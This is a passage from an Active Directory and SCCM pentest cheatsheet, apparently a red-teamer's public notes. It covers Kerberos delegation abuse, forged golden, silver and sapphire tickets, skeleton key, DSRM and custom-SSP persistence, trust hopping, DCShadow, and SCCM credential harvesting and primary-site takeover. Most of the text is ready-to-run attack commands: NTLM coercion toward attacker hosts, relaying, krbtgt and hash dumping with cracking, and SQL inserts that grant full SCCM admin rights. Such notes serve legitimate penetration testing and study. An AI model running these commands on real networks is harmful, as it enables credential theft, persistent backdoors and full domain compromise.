ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT. #Add the SPN python3 addspn.py -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t 'target.domain.local' --additional #Create the DNS record python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '' --action add #Run krbrelayx with the hash of the password of the principal python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local #Trigger the coercion ./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker.domain.local" Constrained delegation In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS. To impersonate the user, Service for User (S4U) extension is used which provides two extensions: Service for User to Self (S4U2self) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION – T2A4D UserAccountControl attribute. Service for User to Proxy (S4U2proxy) - Allows a service to obtain a ST to a second service on behalf of a user. Enumerate users and computers with CD enabled findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password With protocol transition Any service can be specified on the target since it is not correctly checked. getST.py -spn 'cifs/target.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/computer export KRB5CCNAME=./Administrator.ccache Without protocol transition In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section. Resource-based constrained delegation Wagging the Dog With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario). Requirements The DC has to be at least a Windows Server 2012 Write rights on the target machine (GenericAll, GenericWrite, AllExtendedRights) Target computer object must not have the attribute msds-allowedtoactonbehalfofotheridentity set Enumerate users and computers with RBCD enabled findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password #Check the attribute on an account rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password Standard RBCD The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB. #Add RBCD from ServiceA to ServiceB rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ domain.local/user1:password #Verify property rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password #Get ServiceA TGT and then S4U getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/ServiceA$ export KRB5CCNAME=./Administrator.ccache With machine account creation Domain users can create some machines, ms-ds-machineaccountquota must not being to 0 Add a fake machine account in the domain Add it the to msds-allowedtoactonbehalfofotheridentity attribute of the target machine addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domain.local 'domain.local/user1:password' rbcd.py -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$ domain.local/ControlledComputer$:ComputerPassword Use the S4USelf function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not protected) Use the S4UProxy function to obtain a ST for the impersonated user for the wanted service on the target machine getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip domain.local/ControlledComputer$:ComputerPassword export KRB5CCNAME=./Administrator.ccache Skip S4USelf Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B By social engineering or any other solution, an interesting victim authenticates to Service A with a ST Attacker dumps the ST on Service A (sekurlsa::tickets) Attacker configures RBCD from Service A to Service B as above Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence NOT TESTED IN MY LAB WITH IMPACKET getST.py -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes ':' -dc-ip domain.local/ServiceA$ Reflective RBCD With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user. rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass domain.local/ServiceA$ getST.py -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip domain.local/ServiceA$ Impersonate protected user via S4USelf request It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation). With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC). getST.py -self -altservice 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip domain.local/ServiceA$ Bypass Constrained Delegation restrictions with RBCD Attacker compromises ServiceA and ServiceB ServiceB is allowed to delegate to time/ServiceC (the target) without protocol transition (no S4USelf) Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to time/ServiceC Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to cifs/ServiceC #RBCD from A to B rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes ':' domain.local/ServiceA$ getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/ServiceA$ #S4UProxy from B to C with the obtained ST as evidence getST.py -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes ':' -dc-ip domain.local/ServiceB$ U2U RBCD with SPN-less accounts In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here. Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...) Obtain a TGT for the user via pass-the-hash and extract the session key from it with this PR: getTGT.py -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1' describeTicket.py 'user1.ccache' | grep 'Ticket Session Key' Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy will be encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack). Everything is explained here. smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC' Realize the S4USelf request with a U2U request. If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. Then, use the ticket obtained in the U2U S4USelf request (ciphered with the session key), to perform a S4UProxy request. Use this PR to do it: KRB5CCNAME='user1.ccache' getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local" 'domain.local'/'user1' Finally, use the obtained ST to dump the machine LSA and SAM registers with secretsdump. RBCD from MSSQL server If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80): Create a DNS record in order to be able to leak the NTLM hash externally Use the xp_dirtree (or xp_fileexist) function to the created DNS record on @80. This will force the authentication and leak the hash Relay the machine hash to the LDAP server to add a controlled account (with a SPN for the further S4USelf request) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the target machine Now we can ask a ST for a user we want to impersonate for a service on the machine #Add the DNS python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '' --action add #On our machine, waiting for the leak #https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c python rbcd_relay.py 192.168.24.10 domain.local 'target$' #ON the MSSQL server SQLCMD -S -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin #Or with NetExec nxc mssql -u user1 -p password -M mssql_coerce -o L= #After the attack, ask for a ST with full S4U getST.py -spn cifs/target.domain.local -impersonate admininistrator -dc-ip domain.local/password Domain Persistence Sapphire ticket Similar to Diamond Ticket, but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a S4USelf + U2U attack in the requested ticket. Full explains here. ticketer.py -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '' 'blabla' Diamond ticket Blog here For the moment, the ticketer.py approach is not really attractive and the Sapphire Ticket attack is preferable, or use Rubeus on Windows. Golden ticket Dump krbtgt hash with DCSync secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@ Create TGT ticketer.py -domain domain.local -domain-sid -nthash -user-id -duration RODC Golden Ticket This attack is presented in the Active Directory cheatsheet. Silver ticket ticketer.py -domain domain.local -domain-sid -spn 'cifs/target' -nthash -user-id -duration Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent): export KRB5CCNAME=./target_TGT.ccache getST.py -self -impersonate "Administrator" -altservice "cifs/target.domain.local" -k -no-pass "domain.local"/'target$' GoldenGMSA This attack is presented in the Active Directory cheatsheet. GoldenDMSA This attack is presented in the Active Directory cheatsheet. Skeleton key nxc smb -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton' Now, it is possible to access any machine with a valid username and password as "mimikatz" DSRM DSRM is Directory Services Restore Mode The local administrator on every DC can authenticate with the DSRM password It is possible to pass the hash of this user to access the DC after modifying the DC configuration Dump DSRM password nxc smb -u user1 -p password --sam Change registry configuration Need to change the logon behavior before pass the hash reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt REG_DWORD Now the DSRM hash ca be used to authenticate Custom SSP SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine. By patching LSASS (really instable since Server 2016) nxc smb -u user1 -p password -M mimikatz -o COMMAND='misc::memssp' By modifying the LSA registry Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages : #Retrieve the actual values of Security Package reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local query -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s #Append mimilib to the previous list reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd " mimilib" -vt REG_MULTI_SZ DACLs - AdminSDHolder AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour. Attack With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example. When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins. dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'administrator':'password' Check Domain Admin ACLs dacledit.py -action read -target "Domain Admins" -principal user1 -dc-ip domain.local/user1:password DACLs - Interesting rights The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section. Cross-Trust Movement Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and Rubeus. Child to parent domain Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field. #The new Golden Ticket will be written at the path specified in -w raiseChild.py -w ./ticket.ccache child.domain.local/Administrator:password #Dump the Administrator's hash of the root domain raiseChild.py child.domain.local/Administrator:password #PSEXEC on a machine raiseChild.py -target-exec child.domain.local/Administrator:password Across forest SID History attacks If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an RID > 1000 must be indicated. Get the Trust Key secretsdump.py -just-dc-user '' domain.local/Administrator:password@ If no filtering : forge a referral ticket or an inter-realm Golden Ticket and request for a ST ticketer.py doesn't work really well with inter-realm TGT, it's preferable to use Mimikatz for this one. #Referral ticket ticketer.py -domain domain.local -domain-sid -extra-sid - -aesKey -spn "krbtgt/targetDomain.local" #Inter-realm Golden Ticket ticketer.py -domain domain.local -domain-sid -extra-sid - -nthash export KRB5CCNAME=./ticket.ccache getST.py -k -no-pass -spn CIFS/dc.targetDomain.local -dc-ip targetDomain.local/user If there is SID filtering, same thing as above but with RID > 1000 (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the foreignSecurityPrincipal. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups: #These SIDs are members of the target domain ldeep ldap -u user1 -p password -d domain.local -s search '(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid' #The found SIDs can be search in the current forest ldeep ldap -u user1 -p password -d domain.local -s search '(objectSid=)' Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges. TGT delegation By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications). If TGT delegation is enabled in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is disabled, the TGT will not be added in the ST, even with the Unconstrained Delegation. Additionally, Selective Authentication must not be enabled on the trust, and a two ways trust is needed. How to exploit an Unconstrained Delegation. Account Operators Replicating Trust Attack (AORTA) Everything is explained here. Presented in the Active Directory cheatsheet. Transit across non-transitive trusts WARNING ! For the moment, this attack has not been tested on Linux with Impacket but only with Rubeus from a Windows machine. The following commands are here for information purpose only and probably need some adjustments. I recommend you to perform this attack with Rubeus (look at the Active Directory cheatsheet). If a non-transitive trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on External Trusts for example. However, there is a way to make non-transitive trusts transitive. Full explains here. For this example, there is an External Trust between domains A and B (which are in different forests), there is a Within Forest trust between domains B and C (which are in the same forest), and a Parent-child trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since External Trusts are non-transitive. First, obtain a TGT for userA in his domain A getTGT.py -dc-ip domainA.local/userA:password export KRB5CCNAME=./userA.ccache Then, request a referral for the domain B with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in domain B as userA getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip domainA.local/userA With this referral, it is not possible to request for a ST in domain C since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip domainA.local/userA Now, this TGT can be reused to ask for a referral to access domain C, still from domain A with user A getST.py -k -no-pass -spn "krbtgt/domainC.local" -dc-ip domainA.local/userA This referral for domain C can be, in turn, used to access domain D with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest. However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with domain D. For example, if domain D has an External Trust with domain E in a third forest, it will be not possible to access domain E from A. A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E. getST.py -k -no-pass -spn "ldap/dc.domainD.local" -dc-ip domainA.local/userA addcomputer.py -k -no-pass -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domainD.local domainA.local/userA #Then, ask for a TGT and replay the attack against domain E Across forest - PAM trust The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high privs group. Check if the current forest is a bastion forest Enumerate trust properties ForestTransitive must be true SIDFilteringQuarantined must be false ldeep ldap -u user1 -p password -d domain.local -s trusts Enumerate shadow security principals ldeep ldap -u user1 -p password -d domain.local -s search '(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"' Check if the current forest is managed by a bastion forest ForestTransitive must be true ldeep ldap -u user1 -p password -d domain.local -s trusts A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008). Get the shadow security principals ldeep ldap -u user1 -p password -d domain.local -s object "Shadow Principal Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"' Name - Name of the shadow principal member - Members from the bastion forest which are mapped to the shadow principal msDS-ShadowPrincipalSid - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering in a PAM Trust. SCCM Hierarchy takeover In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a Central Administration Site to administrate all the sites from one "top" site server. If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites. Full explains here. Forest Persistence - DCShadow MUST BE TESTED MORE CORRECTLY DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller The compromised machine must be in the root domain on the forest, and the command must be executed as DA (or similar) The attack needs 2 instances on the compromised machine. One to start RPC servers with SYSTEM privileges and specify attributes to be modified nxc smb -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate" "privilege::debug" "lsadump::dcshadow /object: /attribute: /value="' And second with enough privileges (DA or otherwise) to push the values : nxc smb -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow /push' --server-port 8080 Set interesting attributes Set SIDHistory to Enterprise Admin lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:-519 Modify primaryGroupID lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519 Set a SPN on an user lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1" References The Hacker Recipes Pentester Academy PayloadAllTheThings InternalAllTheThings Pentestlab.blog HackTricks Haax Red Teaming Experiments NetExec wiki Cube0x0 Dirk-jan Mollema Snovvcrash Exploit.ph Adam Chester Olivier Lyak Wagging the Dog Masky release Active Directory Spotlight LDAP Pass back SOAPHound ThievingFox SpecterOps MDSec Semperis Cogiceo Akamai Security Blog BloodHound Legacy & BloodHound CE Hack The Box System Center Configuration Manager This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_. I will try to put as many links as possible at the end of the page to direct to more complete resources. System Center Configuration Manager (SCCM), renamed Microsoft Endpoint Configuration Manager (MECM) and, more recently, Microsoft Configuration Manager (ConfigMgr), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments. PXE initial access A PXE boot server can be embedded in the SCCM infrastructure. However, identifying a PXE server on the network does not necessarily imply the presence of an SCCM infrastructure, and the presence of SCCM doesn't indicate that a PXE boot is present. PXEThief works on Windows and Linux: # Identify a PXE server over the network with DHCP request python3.10.exe .\pxethief.py 1 # Indicate the Distribution Point IP to veriy if there is any PXE on it python3.10.exe .\pxethief.py 2 If the media is encrypted, request it like this: tftp -i GET "\SMSTemp\.boot.var" ".boot.var" Then, compute the hash and crack it with hashcat's dedicated module: python3.10.exe .\pxethief.py 5 '.boot.var' cd hashcat_pxe/ git clone https://github.com/hashcat/hashcat.git git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/ cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/ cd hashcat # change to 6.2.5 git checkout -b v6.2.5 tags/v6.2.5 make cd .. hashcat/hashcat -m 19850 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txtou.txt Finally request the media, decrypt it with the password and retrieve sensitive information inside: python3.10.exe .\pxethief.py 3 'XXX.boot.var' "Password123!" Or alternatively, PowerPXE is a PowerShell script that extracts interesting data from insecure PXE boot. Import-Module PowerPxe Get-PXEcreds -InterfaceAlias Ethernet Recon Techniques to identify SCCM servers and related objects in an Active Directory. Windows #With PowerShell ([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties} #With SharpSCCM ./SharpSCCM.exe local site-info ./SharpSCCM.exe local client-info Linux #Find the assets in the LDAP configuration python3 sccmhunter.py find -u user1 -p password -d domain.local -dc-ip #Retrieve informations regarding the identified servers (SMB signing, site code, server type, etc) #And save PXE variables python3 sccmhunter.py smb -u user1 -p password -d domain.local -dc-ip -save #Show results from the previous commands python3 sccmhunter.py show -smb python3 sccmhunter.py show -user python3 sccmhunter.py show -computers python3 sccmhunter.py show -all #With NetExec nxc ldap -u user1 -p password -M sccm #Via WinReg nxc ldap -u user1 -p password -M sccm-recon6 Another solution is to search for WDS servers, in order to find potential SCCM servers or MDT shares. ./WDSFinder --username user1 --password password --ip --domain domain.local Credentials harvesting Client Push Accounts With a compromised machine in an Active Directory where SCCM is deployed via Client Push Accounts (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of the Client Push Account, which generally has Administrator privileges on lots of assets. Full explains here. To do it: Remove all the local Administrators on the compromised machine : net user /delete Listen with Inveigh : Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y Wait for the Client Push Accounts that will attempt to authenticate automatically Hope for Net-NTLMv1, relay possibility or whatever With SharpSCCM it is possible to accelerate the process by coercing a Client Push Accounts authentication. #If admin access over Management Point (useful to clean the MP cache with the attacker machine) ./SharpSCCM.exe invoke client-push -t --as-admin #If not MP admin (need to conctact an administrator to clean the cache) ./SharpSCCM.exe invoke client-push -t Local SCCM credentials extraction Multiple secrets and credentials can be extracted on a machine enrolled in SCCM. For example, it is possible to retrieve the Network Access Accounts (NAA) in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI, and the TaskSequence and Device Collection variables, also encrypted by DPAPI. Windows With SYSTEM access on the client, the credentials can be retrieved via WMI with PowerShell: #Network Access Accounts (NAA) Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount #TaskSequence variables Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence #Device Collection variables Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable All this secrets can be extracted with SharpSCCM or SharpDPAPI aswell: ./SharpDPAPI.exe SCCM #Via CIM store on disk or WMI ./SharpSCCM.exe local secrets disk ./SharpSCCM.exe local secrets wmi NAA can also be extracted with Mimikatz: ./mimikatz.exe mimikatz # privilege::debug mimikatz # token::elevate mimikatz # dpapi::sccm Ultimately, NAA and TaskSequence can be retrieved remotely: ./SharpSCCM.exe get secrets Linux Sccmhunter permits to extract everything in one command. python3 sccmhunter.py dpapi -u user1 -p password -d domain.local -dc-ip -target -wmi # Or with SystemDPAPIdump SystemDPAPIdump.py -creds -sccm 'domain.local/user1:password'@'target.domain.local' SCCM secrets policies request Full explains about these attacks are here. Theory To quickly summarize, SCCM permits to new computers to self-enroll without authentication in the SCCM environment via the Management Point, and, by default, the enrolment must be approved by an administrator. However, still by default, it is possible to approve an enrolment with a domain machine account. This newly approved device can request the SCCM secret policies linked the collections where it has been added (by default, All systems or All Desktop and Server clients). These policies include the NAA credentials, the Task Sequence variables, and the Collection variables. They also indicate resources to download from the Distribution Point. Sysadmins have the possibility to allow self-enrolment with automatic device approval. In this configuration, no machine credentials are needed since the new device will be automatically approved and able to obtain secret policies. Exploitation So, an attacker with a valid domain machine account can enroll a new device and use it to retrieve the secret policies. SCCMSecrets permits to retrieve the three kinds of secrets. addcomputer.py -computer-name 'EVIL$' -computer-pass 'ComputerPass123' -dc-ip 'domain.local/user1':'password' python3 sccmhunter.py http -u "user1" -p password -dc-ip -cp ComputerPass123 -cn 'EVIL$' # Or with SCCMSecrets python3 SCCMSecrets.py policies --management-point 'managementPoint.domain.local' --client-name fake.domain.local --verbose --registration-sleep 300 --username 'machine$' --password 'password' # With self-enrolment python3 SCCMSecrets.py policies --management-point 'managementPoint.domain.local' --client-name fake.domain.local --verbose In case of the SCCM configuration is enforced with HTTPS, the client authentication certificate of the authenticating computer must be added. python3 SCCMSecrets.py policies --management-point 'https://managementPoint.domain.local' --client-name fake.domain.local --pki-cert ./cert.pem --pki-key ./key.pem --username 'machine$' --password 'password' Exploitation can also be performed via a NTLM relay by relaying a device authentication: ntlmrelayx.py -t 'http://managementPoint.domain.local/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug Policies pivoting Policies are linked to the device collections a device is member of. When a new device is compromised, it can be used to request the policies it can access and potentially find new credentials. To request SCCM policies with an already enrolled device, its GUID (to identify it) and its private key (to sign the requests) are needed. The GUID can be found in different log files, like C:/Windows/CCM/Logs/ClientIDManagerStartup.log on the machine The private key can be extracted from the LSASS memory by previously patching the CNG with Mimikatz, or by dumping it from the SYSTEM DPAPI Then, the requests can be performed like this. The folder CLIENT_DEVICE must contain two files: guid.txt where the GUID is written, and key.pem containing the private key: python3 SCCMSecrets.py policies -mp 'managementPoint.domain.local' --verbose --use-existing-device CLIENT_DEVICE/ Steals SCCM secret policies via NTLM relay Setup a NTLM relay to the site database, and coerce the primary site server: ntlmrelayx.py -ts -t mssql://siteDatabase.domain.local -socks -smb2support python3 PetitPotam.py -u user1 -p password -d domain.local SCCM-Server.domain.local Then, retrieve the GUID of the object "Unknown Computer x64" in the database: SELECT * FROM dbo.UnknownSystem_DISC Or with a request to the HTTP endpoint on the SMS Provider : /SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA Once the GUID has been retrieved, the policies assigned to it can be retrieved from the MSSQL database via the stored procedure MP_GetMachinePolicyAssignments. proxychains mssqlclient.py domain.local/SCCM-Server$@siteDatabase.domain.local -windows-auth -db -command "EXEC MP_GetMachinePolicyAssignments N'$GUID', N''" | tee assignments.txt The result in hexadecimal format must be decoded, then search for NAAConfig, TaskSequence, and CollectionSettings. For each entry, retrieve the PolicyID and PolicyVersion. Using these values, you can retrieve the policy content via the MP_GetPolicyBody procedure. This operation must be repeated for each policy: proxychains mssqlclient.py domain.local/SCCM-Server$@siteDatabase.domain.local -windows-auth -db -command "exec MP_GetPolicyBody N'{}', N''" |tee NAAConfig.txt Finally, the hex blobs obtained can be decoded, and the CDATA parts decrypted with PXEThief: echo - -n '3c003f0078006d00006f006c006900630079003e000d000a00' |xxd -r -p python3 pxethief.py 7 SCCM content library Full explains about these attacks are here. Theory This service hosts the ressources to provide to the SCCM clients (scripts, applications, OS, etc). Everything is hosted in a share named C:\SCCMContentLib and can be retrieved either via SMB in an authenticated way, or via HTTP with a specific URL, also with authentication. However, it appears that sysadmins can configure the HTTP way to allow unauthenticated access. In this case, anonyone can download all the packages and search for sensitive data inside. Exploitation SCCMSecrets.py permits to download all the packages from the Distribution Point through HTTP: python3 SCCMSecrets.py files --distribution-point 'distributionPoint.domain.local' --verbose --username 'user1' --password 'password' If the Distribution Point allows unauthenticated requests on its HTTP service, packages can be downloaded without specifying credentials. Or through a NTLM relay to the HTTP endpoint: ntlmrelayx.py -t 'http://distributionPoint.domain.local/sms_dp_smspkg$/Datalib' -smb2support --sccm-dp -debug Cmloot.py is useful for SMB extraction: python3 cmloot.py domain/user1@ -findsccmservers -target-file sccmhosts.txt -cmlootdownload sccmfiles.txt Note that, this part is independent from secret policies request: it is possible to retrieve the packages even if no device enrolment has been performed. SCCM primary site takeover The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. Some requirements must be reached to exploit this scenario. Full explains here and here. Relay to the site database server Windows # Retrieve the controlled user SID in HEX format .\SharpSCCM.exe get user-sid # Setup a NTLM relay server to MSSQL or SMB # targetting MS-SQL ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks # targeting SMB ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks # Coerce the primary site server authentication via Client Push Installation .\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "" -t "attacker.domain.local" With a MSSQL socks open, an mssqlclient session can be obtained: proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth And the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site: --Switch to site database use CM_ --Add the SID, the name of the current user, and the site code to the RBAC_Admins table INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (,'DOMAIN\user',0,0,'','','','',''); --Retrieve the AdminID of the added user SELECT AdminID,LogonName FROM RBAC_Admins; --Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), --the “All Systems” scope (SMS00001), --and the “All Users and User Groups” scope (SMS00004) INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (,'SMS0001R','SMS00ALL','29'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES 